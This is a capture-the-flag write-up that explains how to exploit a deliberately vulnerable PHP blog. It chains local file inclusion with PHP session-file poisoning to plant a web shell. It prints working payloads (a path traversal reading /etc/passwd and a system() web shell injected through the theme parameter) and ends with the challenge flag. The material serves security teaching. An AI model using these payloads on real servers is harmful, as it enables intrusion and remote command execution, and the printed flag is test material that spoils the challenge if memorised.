Links

Custom Blog

Description

This guy wrote his own blog in PHP instead of, I dunno, literally anything else. Can you teach him a lesson?
source.zip
2KB
Binary

Solution

The first thing to notice is that in /post.php, there is a local file inclusion (LFI) vulnerability.
<?php
session_start();
if (isset($_GET['post']) && file_exists($post = 'posts/' . $_GET['post'])) {
$ok = true;
} else {
$ok = false;
http_response_code(404);
}
...
if ($ok) {
echo '<h1>' . htmlentities($_GET['post']) . '</h1><hr><div class="post">';
include $post;
echo '</div>';
} else {
echo '<h1>post not found :(</h1><hr>';
}
...
?>
The post GET query parameter is used as the filename in the include $post statement. For instance, we could request /post.php?post=../../../../../../etc/passwd.
But what we really want is remote code execution (RCE). How do we do that? We need to be able to write to a file stored on the server, then include that file through the above LFI vulnerability.
After doing some research, I found that PHP sessions are file-based by default, and the filenames are pretty predictable - each user's session file is stored at /tmp/sess_<PHPSESSID>.
If we look at /set.php, we can see that we are able to set the theme value in the session to any arbitrary string through the theme GET query parameter.
<?php
session_start();
if (isset($_GET['theme'])) {
$_SESSION['theme'] = $_GET['theme'];
}
header('Location: /');
die();
?>
The session file can then be accessed through the LFI vulnerability, and our input is reflected into the included PHP code! For example, if we set our theme to <?php phpinfo() ?>, we get the following output when including our session file.
If we set the theme to the following PHP payload, we can get a web shell: /set.php?theme=<?php system($_GET['c']) ?>
Explore the filesystem for a bit and you'll find the flag: MetaCTF{wh4t??lfi_1s_ev0lv1ng??}